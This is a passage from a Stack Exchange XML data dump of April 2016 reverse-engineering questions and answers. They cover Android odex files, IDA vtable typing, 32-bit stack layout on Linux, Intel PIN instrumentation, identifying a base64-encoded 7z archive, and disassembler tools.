positive it will have xml type of texts. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15705" LastActivityDate="2016-04-09T23:51:37.147" Title="Unpacking / Decrypting .dat file" Tags="|unpacking|decryption|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ClosedDate="2016-04-11T16:48:51.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="12392" PostTypeId="2" ParentId="12385" CreationDate="2016-04-10T01:38:30.233" Score="1" Body="&lt;p&gt;You might have a look &lt;a href=&quot;http://fossies.org/windows/misc/winscp577source.zip/libs/mfc/source/thrdcore.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, line number 456.&lt;/p&gt;&#xA;&lt;p&gt;The method you are looking for seems to be the OnIdle function.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Remark:&lt;/strong&gt; In 2018, the link is not active any more. However, the sources might be found in a Visual Studio Community edition (I am using VS2015), directory&#xA;&amp;quot;C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\atlmfc\src\mfc&amp;quot;.&#xA;The CWinThread class is contained in the file thrdcore.cpp.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-12-30T20:35:41.057" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="12393" PostTypeId="1" AcceptedAnswerId="12406" CreationDate="2016-04-11T08:23:19.220" Score="5" ViewCount="3408" Body="&lt;p&gt;I'm trying to reverse engineer certain Samsung system apps in the Galaxy S6 firmware system image, such as KnoxAttestationAgent.apk. I'm a noob when it comes to reverse engineering, and so far my attempts have been unsuccessful. Here's what I've done so far.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run apktool on the APK. I got a few XML files, including the AndroidManifest, but no source. Apparently this is because there is no classes.dex in the package.&lt;/li&gt;&#xA;&lt;li&gt;Noticing that there's a KnoxAttestationAgent.odex in the arm64/ folder, I tried to run baksmali 2.1.1 on it. However, this version apparently doesn't support Android 5 versions of oat. The S6 firmware I'm working on is 5.1.1.&lt;/li&gt;&#xA;&lt;li&gt;I tried an earlier version of baksmali 2.0.8 which doesn't have the limitation, but I get another error &quot;KnoxAttestationAgent.odex is not an apk, dex file or odex file.&quot;&lt;/li&gt;&#xA;&lt;li&gt;I tried to run AndroGuard on the APK, but was also unsuccessful. A bunch of errors.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way for these tools (or others) to work on system apps such as the Samsung Knox ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2016-04-12T05:56:41.893" Title="Reverse engineering Android vendor system apps" Tags="|android|apk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12395" PostTypeId="2" ParentId="12348" CreationDate="2016-04-11T09:52:32.323" Score="0" Body="&lt;p&gt;If you have access to IDA, you can use the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/replayer/trace_replayer.pdf&quot; rel=&quot;nofollow&quot;&gt;trace replayer&lt;/a&gt;. It doesn't exactly support reverse execution, but I wrote it with the idea to help in the problem you have: check why a crash happened by replaying recorded executions traces. The program is not executing but rather replaying the execution trace, however, in most cases, that is more than enough.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-04-11T09:52:32.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12396" PostTypeId="1" CreationDate="2016-04-11T11:42:48.693" Score="1" ViewCount="1059" Body="&lt;p&gt;What I mean is when the Hex-Rays compiler gives me something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int v1;&#xA;&#xA;&#xA;CreateSomeInterface(&amp;amp;v1);&#xA;&#xA;(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 4))(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I have a C++ header with the interface defined like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct SomeInterface&#xA;{&#xA;    virtual void func1() = 0;&#xA;    virtual void func2() = 0;&#xA;} ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I know that the structure of the VT is pretty straightforward (it is a standard layout for all windows interfaces - all virtual functions pointers are stored sequentially &lt;strong&gt;in a memory location pointer by the first structure member&lt;/strong&gt;), eg.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At location &lt;strong&gt;&lt;code&gt;*(void **)this&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct _SomeInterfaceLayOut&#xA;{&#xA;        void (*func1)();&#xA;        void (*func2)();&#xA;} ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there some easy straightforward way to set the type of &lt;code&gt;v1&lt;/code&gt;? Currently if I parse the C++ header with the virtual function declarations, the created local type &lt;code&gt;SomeInterface&lt;/code&gt; won't contain anything and also won't be available for the decompiler to apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now the only solution I think I see is manually converting all virtual functions into function pointers but this seems like hell a lot of a work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in this because it'll allow me more easily to understand the decompiled code. Names are better then addresses, for me at least.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2016-04-12T11:30:52.303" LastActivityDate="2016-04-12T11:30:52.303" Title="Any easy way to decompile virtual function instances?" Tags="|ida|c++|hexrays|virtual-functions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12397" PostTypeId="1" AcceptedAnswerId="12418" CreationDate="2016-04-11T12:10:40.047" Score="7" ViewCount="2498" Body="&lt;p&gt;Stack layout is well documented in many ways. Especially for &lt;em&gt;x86&lt;/em&gt; systems as there were numerous tutorials on how to exploit stack overflow on old 32-bit systems many years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far we can know that on a 32-bit system, the user stack starts from &lt;em&gt;0xc0000000&lt;/em&gt; address (which is the limit between usermode and kernelmode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This address is not the same if we take an &lt;em&gt;Elf32&lt;/em&gt; running on a &lt;em&gt;x86-64&lt;/em&gt; linux system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find this address but I can figure out it is &lt;em&gt;0xffffe000&lt;/em&gt; thanks to gdb:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(gdb) x $esp&#xA;0xffffd4bc: 0xf7e16a83&#xA;(gdb) x/w 0xffffdffc&#xA;0xffffdffc: 0x00000000&#xA;(gdb) x/w 0xffffe000&#xA;0xffffe000: Cannot access memory at address 0xffffe000&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can actually see that the &lt;em&gt;0xffffe000&lt;/em&gt; address points to an invalid location (or at least the process doesn't have proper permission to access this memory page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet I cannot especially find a relevant source that tells us that &lt;strong&gt;the gnu stack of a x86 program on a x64 linux starts from 0xffffe000&lt;/strong&gt;. Am I doing things wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find sources telling us about &lt;em&gt;linux-gate.so.1&lt;/em&gt; but I do not think this is the point here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, reversers?&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2016-04-12T14:15:00.463" Title="32-bit binary stack layout on a x64 Linux OS" Tags="|linux|x86-64|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12398" PostTypeId="1" AcceptedAnswerId="12400" CreationDate="2016-04-11T14:35:06.640" Score="1" ViewCount="180" Body="&lt;p&gt;I'm writing a parser for some xml scenario files.&#xA;Among other cleartext info there is a node 'Scenario_Compressed' which i like to analyse.&#xA;I've uploaded the content here:&#xA;&lt;a href=&quot;http://www.lunex.net/temp/compstr.txt&quot; rel=&quot;nofollow&quot;&gt;http://www.lunex.net/temp/compstr.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anybody of you help me identifing the type of compression?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&#xA;Lunex&lt;/p&gt;&#xA;" OwnerUserId="15721" LastActivityDate="2016-04-11T16:55:48.663" Title="Need help with compressed string of unknown format" Tags="|windows|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12400" PostTypeId="2" ParentId="12398" CreationDate="2016-04-11T16:55:48.663" Score="5" Body="&lt;p&gt;As @w4rex said, it definitely looks like base64. If you try to decode it like a regular base64 string, you end up with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;37 7a bc af 27 1c 00 03 d8 a0 33 34 30 78 00 00       7z..............&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You recognize the '&lt;strong&gt;7z&lt;/strong&gt;' magic of a 7zip file, and it's indeed a 30Ko archive containing a single file of 363Ko named 'default'. The file is password-protected though, so you could try to either brute-force it or reverse the application generating this file to find the password.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-04-11T16:55:48.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12401" PostTypeId="2" ParentId="12379" CreationDate="2016-04-11T17:04:05.827" Score="1" Body="&lt;p&gt;Here's my attempt at the list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DAA, DAS, AAA, AAS, PUSHA, POPA, NOP, PAUSE, CBW, CWD[E], CDQ, CQO, WAIT, AAM, AAD, XLAT, JMP, LOADALL, EMMS, FINIT, CALL, RET[F], INT, INTO, RSM, PUSH, POP, ENTER, LEAVE, any FPU instruction that ends in 'P'...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find a comprehensive list would require that you clarify the question even further.  There are instructions that modify memory using immediate values, for example.  They don't access registers, so they seem to qualify but probably not what you intend.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2016-04-11T17:04:05.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12402" PostTypeId="2" ParentId="12396" CreationDate="2016-04-11T17:06:33.970" Score="1" Body="&lt;p&gt;If I understand correctly, you already have the definition of your interface, so you can just create a structure with all fields having the names of the functions (or maybe even import it if your header file is simple enough), and then define the type of your variable to this structure (Edit-&gt;Set Type, or '&lt;strong&gt;Y&lt;/strong&gt;'). That way, the &quot;v1+4&quot; will appears as &quot;yourStructName.func2&quot;.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-04-11T17:06:33.970" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12403" PostTypeId="1" CreationDate="2016-04-11T18:53:49.350" Score="1" ViewCount="74" Body="&lt;p&gt;I am going to conduct a research on p2p botnet detection based on their network behavior. Would you help me how to get these botnets sample. &#xA;Thanx!&lt;/p&gt;&#xA;" OwnerUserId="15726" LastActivityDate="2016-04-12T15:30:09.513" Title="How to get Waledac and Storm P2P botnets" Tags="|malware|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-12T21:56:10.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="12404" PostTypeId="1" AcceptedAnswerId="12410" CreationDate="2016-04-11T19:39:11.400" Score="6" ViewCount="3514" Body="&lt;p&gt;A typical PIN code snippet looks like this (taken from the &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/index.html#IAddressTrace&quot; rel=&quot;nofollow&quot;&gt;official manual&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This function is called before every instruction is executed&#xA;// and prints the IP&#xA;VOID printip(VOID *ip) { fprintf(trace, &quot;%p\n&quot;, ip); }&#xA;&#xA;// Pin calls this function every time a new instruction is encountered&#xA;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA;    // Insert a call to printip before every instruction, and pass it the IP&#xA;    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)printip, IARG_INST_PTR, IARG_END);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just can't figure out how to access the &lt;code&gt;ins&lt;/code&gt; object from within &lt;code&gt;printip(VOID *p)&lt;/code&gt;. The other way round seems easy, i.e. getting the IP from from the &lt;code&gt;ins&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;INS_Address (INS ins)&lt;/code&gt;(see &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/76991/Pin/html/group__INS__BASIC__API__GEN__IA32.html#gd3b5f975c84b126531b38930b94b5544&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried passing a &lt;code&gt;INS *ins&lt;/code&gt; pointer to &lt;code&gt;printip(VOID *ip, INS *ins)&lt;/code&gt; ins via &lt;code&gt;IARG_PTR, &amp;amp;ins&lt;/code&gt; but this ended in either casting errors or Segmentation faults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I access the &lt;code&gt;ins&lt;/code&gt; object (type &lt;code&gt;INS&lt;/code&gt;) from inside an analysis function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; I got to this problem when trying to call &lt;code&gt;INS_Disassemble (INS ins)&lt;/code&gt; for every executed instruction.&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="245" LastEditDate="2016-04-12T17:45:21.530" LastActivityDate="2017-07-19T19:12:06.733" Title="Intel PIN: How to access the INS object from inside an analysis function?" Tags="|c++|pintool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12406" PostTypeId="2" ParentId="12393" CreationDate="2016-04-11T21:48:07.990" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Run apktool on the APK. I got a few XML files, including the&#xA;  AndroidManifest, but no source. Apparently this is because there is no&#xA;  classes.dex in the package.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's because these are odexed apps: when an app is odexed, the classes.dex is extracted from the apk.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I tried an earlier version of baksmali 2.0.8 which doesn't have the limitation, but I get another error &quot;KnoxAttestationAgent.odex is not an apk, dex file or odex file.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's right, because the .odex file is not an apk. An odex file is basically an optimized version of the classes.dex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in order to disassemble this app, you have to deodex it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an HOW-TO guide (I haven't tested it personally): &lt;a href=&quot;http://www.naldotech.com/how-to-deodex-applications-on-android-5-0-lollipop/&quot; rel=&quot;nofollow&quot;&gt;http://www.naldotech.com/how-to-deodex-applications-on-android-5-0-lollipop/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, if you follow all the steps correctly, you will have an apk ready to be reversed using APKTool. &#xA;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="15583" LastEditorUserId="8103" LastEditDate="2016-04-12T05:56:41.893" LastActivityDate="2016-04-12T05:56:41.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12408" PostTypeId="1" CreationDate="2016-04-12T09:06:01.850" Score="-1" ViewCount="3676" Body="&lt;p&gt;I am not thinking of a specific platform, anyway I likes to read and edit .so files&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2016-04-13T14:05:24.710" Title="Is there any free software to open and edit .so files?" Tags="|disassembly|" AnswerCount="2" CommentCount="3" ClosedDate="2016-04-17T11:58:16.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="12409" PostTypeId="2" ParentId="12408" CreationDate="2016-04-12T10:48:18.300" Score="1" Body="&lt;p&gt;You have multiple choice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA Pro(Commercial, expensive): can disassemble .so files (linux lib)&lt;/li&gt;&#xA;&lt;li&gt;objdump(Free and opensource): it is part of binutils package.&lt;/li&gt;&#xA;&lt;li&gt;ODA(Free): an oline disassembler (www.onlinedisassembler.com)&lt;/li&gt;&#xA;&lt;li&gt;Hopper(Commercial, cheap):  can disassemble .so files&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, if you are looking for something free, objdump or ODA are your best bets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the platform matter! For example if you are trying to diassemble a .so file from an ARM Android system with objdump, you need to install objdump from the ARM gcc toolchain.&lt;/p&gt;&#xA;" OwnerUserId="15583" LastEditorUserId="15583" LastEditDate="2016-04-13T14:05:24.710" LastActivityDate="2016-04-13T14:05:24.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12410" PostTypeId="2" ParentId="12404" CreationDate="2016-04-12T10:57:33.417" Score="5" Body="&lt;p&gt;You may note that &lt;code&gt;printip&lt;/code&gt; is a function pointer, it is lazily called internally by &lt;code&gt;Pin&lt;/code&gt;; moreover &lt;code&gt;ins&lt;/code&gt; is an &lt;em&gt;automatic variable&lt;/em&gt; (it is passed into &lt;code&gt;Instruction&lt;/code&gt; from the stack). Consequently, passing &lt;code&gt;&amp;amp;ins&lt;/code&gt; into &lt;code&gt;printip&lt;/code&gt; (through &lt;code&gt;IARG_PTR&lt;/code&gt;), then using it will lead to segmentation faults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Pin&lt;/code&gt; declares &lt;code&gt;INS&lt;/code&gt; by specializing the class template &lt;code&gt;INDEX&lt;/code&gt;, as you can observe the following declaration in &lt;code&gt;type_core.TLH&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*! @ingroup INS_BASIC_API&#xA;Handle for INS */  &#xA;typedef class INDEX&amp;lt;6&amp;gt; INS;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;em&gt;constructors and assignment operators&lt;/em&gt; of class template &lt;code&gt;INDEX&lt;/code&gt; are both default. So, &lt;em&gt;in principle&lt;/em&gt;^^, we can always declare a persistent variable to share an object of &lt;code&gt;INS&lt;/code&gt; between instrumentation and analysis functions, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static INS per_ins;&#xA;...&#xA;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA;  per_ins = ins;&#xA;  ...&#xA;}&#xA;...&#xA;VOID printip(VOID *ip)&#xA;{&#xA;  INS_Disassemble(per_ins);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method does not work, unfortunately, this is an example for &quot;well-typed program still can go wrong&quot; in &lt;code&gt;C/C++&lt;/code&gt;^^. Since &lt;code&gt;Pin&lt;/code&gt; does not guarantee that internal variables, accessed by an object of type &lt;code&gt;INS&lt;/code&gt;, are persistent in &lt;em&gt;analysis time&lt;/em&gt;, the result of calling &lt;code&gt;INS_Disassemble(per_ins)&lt;/code&gt; in an &lt;em&gt;analysis function&lt;/em&gt; can be meaningless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your case, you may not want to call &lt;code&gt;INS_Disassemble(ins)&lt;/code&gt; each time &lt;code&gt;ins&lt;/code&gt; executes. We don't need that, for example, if &lt;code&gt;ins&lt;/code&gt; is in a loop then this function will be called multiple times (with the same &lt;code&gt;ins&lt;/code&gt;) to get the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All &lt;strong&gt;static information&lt;/strong&gt; of an instruction (e.g. the disassembled form of &lt;code&gt;ins&lt;/code&gt; in this case) should be obtained in &lt;em&gt;instrumentation time&lt;/em&gt;. Particularly, &lt;code&gt;INS_Disassemble&lt;/code&gt; should be called single time only in some instrumentation function. One way to obtain the same effect as you want is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static std::unordered_map&amp;lt;ADDRINT, std::string&amp;gt; str_of_ins_at;&#xA;&#xA;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA;  str_of_ins_at[INS_Address(ins)] = INS_Disassemble(ins);&#xA;  ...&#xA;}&#xA;&#xA;VOID printip(VOID *ip, ADDRINT addr) &#xA;{&#xA;  std::string ins_str = str_of_ins_at[addr];&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2016-04-13T09:57:30.320" LastActivityDate="2016-04-13T09:57:30.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12411" PostTypeId="1" CreationDate="2016-04-12T11:14:00.267" Score="2" ViewCount="1280" Body="&lt;p&gt;I made some PE analysis script. One part is virtual functions extraction, I implemented vTables lookup using &lt;a href=&quot;http://www.openrce.org/articles/img/igor2_rtti1.gif&quot; rel=&quot;nofollow&quot;&gt;this schema&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual algorithm of lookup is not important part of question. I don't know how to determine actual size of vTable, that I get is pointer to COL, pointer to 1st virtual method, pointer to 2nd virtual method, ... pointer to last virtual method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the problem is that I don't know which virtual method is the last. Any help related to this is appreciate.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2016-04-12T13:09:36.943" Title="vTable size calculation (for MSVC)" Tags="|windows|c++|vtables|msvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12412" PostTypeId="5" CreationDate="2016-04-12T11:16:20.937" Score="0" Body="&lt;p&gt;Microsoft Visual C++ (often abbreviated as MSVC or VC++) is a commercial (free version available), integrated development environment (IDE) product from Microsoft for the C, C++, and C++/CLI programming languages. It features tools for developing and debugging C++ code, especially code written for the Microsoft Windows API, the DirectX API, and the Microsoft .NET Framework.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2016-04-28T14:29:31.840" LastActivityDate="2016-04-28T14:29:31.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12413" PostTypeId="4" CreationDate="2016-04-12T11:16:20.937" Score="0" Body="Microsoft Visual C/C++ Compiler" OwnerUserId="8247" LastEditorUserId="245" LastEditDate="2016-04-12T17:41:56.743" LastActivityDate="2016-04-12T17:41:56.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12414" PostTypeId="5" CreationDate="2016-04-12T11:54:02.510" Score="0" Body="&lt;p&gt;A virtual method table (VMT), virtual function table, virtual call table, dispatch table, vtable, or vftable is a mechanism used in a programming language to support dynamic dispatch (or run-time method binding).&lt;/p&gt;&#xA;" OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2016-04-12T21:55:55.963" LastActivityDate="2016-04-12T21:55:55.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12415" PostTypeId="4" CreationDate="2016-04-12T11:54:02.510" Score="0" Body="Mechanism used in a programming language to support run-time method binding." OwnerUserId="8247" LastEditorUserId="8247" LastEditDate="2016-04-14T15:52:23.757" LastActivityDate="2016-04-14T15:52:23.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12416" PostTypeId="2" ParentId="12397" CreationDate="2016-04-12T12:57:48.157" Score="0" Body="&lt;p&gt;I have a partial answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can determine wether the memory layout ends up to &lt;strong&gt;0xc0000000&lt;/strong&gt; or &lt;strong&gt;0xffffe000&lt;/strong&gt; thanks to the &lt;a href=&quot;http://linux.die.net/man/2/personality&quot; rel=&quot;nofollow&quot;&gt;personality system call&lt;/a&gt;. By reading the &lt;em&gt;ADDR_LIMIT_3GB&lt;/em&gt; flag it is possible to figure out wether a 32-bit process is mapped up to &lt;strong&gt;0xc0000000&lt;/strong&gt; or &lt;strong&gt;0xffffe000&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not tell why the &lt;strong&gt;0xffffe000&lt;/strong&gt; is relevant, except that it is 8192 bytes shorter that the end of a &lt;em&gt;4GB memory space&lt;/em&gt;. Maybe it has something to do with the kernel stack size.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2016-04-12T12:57:48.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12417" PostTypeId="2" ParentId="12411" CreationDate="2016-04-12T13:09:36.943" Score="2" Body="&lt;p&gt;You could try the following heuristic: extend the vtable from its given base address until you reach an address that has already been classified as something else (e.g. the COL pointer of the next vtable) or you find something that is not the address of a known function in a known code segment. This analysis step should be deferred until after the full web of RTTI descriptors and its associated structures has been found and verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works if the functions can be identified with certainty or at least reasonable accuracy via other means (like debug info, map files, or the function descriptor tables that are mandatory for 64-bit executables); it does not work quite so well if the point of analysing the vtables is to find more code addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the performance of this heuristic quite satisfactory in a couple of real-world analysis projects, like with one humongous game executable that contained some 23000 vtables.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2016-04-12T13:09:36.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12418" PostTypeId="2" ParentId="12397" CreationDate="2016-04-12T14:15:00.463" Score="2" Body="&lt;p&gt;The valid stack access range of a (32 or 64 bit) process can be viewed by looking into its &lt;em&gt;memory map&lt;/em&gt;. We can observe the memory map of a process with id &lt;code&gt;pid&lt;/code&gt; by &lt;code&gt;cat /proc/pid/maps&lt;/code&gt;, an example of a &lt;code&gt;32-bit process&lt;/code&gt; on my 64-bit box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;09b58000-09b79000 rw-p 00000000 00:00 0                    [heap]&#xA;...&#xA;f7785000-f7787000 rw-p 001c7000 00:23 592106               /usr/lib/libc-2.20.so&#xA;...&#xA;f77c2000-f77c4000 r--p 00000000 00:00 0                    [vvar]&#xA;f77c4000-f77c5000 r-xp 00000000 00:00 0                    [vdso]&#xA;...&#xA;f77e8000-f77e9000 rw-p 00022000 00:23 592099               /usr/lib/ld-2.20.so&#xA;fff9b000-fffbc000 rw-p 00000000 00:00 0                    [stack]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the valid range for &lt;code&gt;stack&lt;/code&gt; is &lt;code&gt;[0xfff9b000, 0xfffbc000)&lt;/code&gt;, memory access to an address higher or equal than &lt;code&gt;0xfffbc000&lt;/code&gt; will trigger &lt;code&gt;memory access violation&lt;/code&gt; exception. According to &lt;a href=&quot;https://lwn.net/Articles/631631/&quot; rel=&quot;nofollow&quot; title=&quot;How programs get run: ELF binaries&quot;&gt;this article&lt;/a&gt;, this range is calculated when the kernel &lt;a href=&quot;http://lxr.free-electrons.com/source/fs/binfmt_elf.c?v=3.18#L571&quot; rel=&quot;nofollow&quot;&gt;maps the binary into the memory&lt;/a&gt;, and by &lt;a href=&quot;http://lxr.free-electrons.com/source/fs/binfmt_elf.c?v=3.18#L555&quot; rel=&quot;nofollow&quot;&gt;several&lt;/a&gt; &lt;a href=&quot;http://lxr.free-electrons.com/source/fs/exec.c?v=3.18#L640&quot; rel=&quot;nofollow&quot;&gt;functions&lt;/a&gt;, the interesting input for them is &lt;a href=&quot;http://lxr.free-electrons.com/source/arch/x86/include/asm/processor.h?v=3.18#L840&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;STACK_TOP&lt;/code&gt;&lt;/a&gt; which is defined by &lt;code&gt;TASK_SIZE&lt;/code&gt; for &lt;a href=&quot;http://lxr.free-electrons.com/source/arch/x86/include/asm/processor.h?v=3.18#L834&quot; rel=&quot;nofollow&quot;&gt;32-bit processes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2016-04-12T14:15:00.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12419" PostTypeId="1" AcceptedAnswerId="12649" CreationDate="2016-04-12T15:07:54.600" Score="3" ViewCount="265" Body="&lt;p&gt;In a recent assignment, I disassembled a binary written in C++.&lt;br&gt;&#xA;In a few places throughout the program I came across shift operations by zero bits something like written below (The exact code/IDA isn't in front of me presently).  The shift operations were all before a conditional branch. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;call sub_123456&#xA;add esp, 8&#xA;shr eax, 0&#xA;cmp ...&#xA;jz ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a decent understanding of assembly but I can't see why you'd do a bit shift of zero.  Isn't this essentially a NOP?  I've been looking for info on this but haven't come up with any definitive information.  My guess is it's added by the compiler for some reason, though I'd like to understand why.  The assignment is already submitted; this is just a question that's been nagging at me.  Any input would be appreciated!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15738" LastActivityDate="2016-05-12T17:49:46.797" Title="What's the purpose of arithmetic shifts by zero bits?" Tags="|disassembly|x86|c++|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
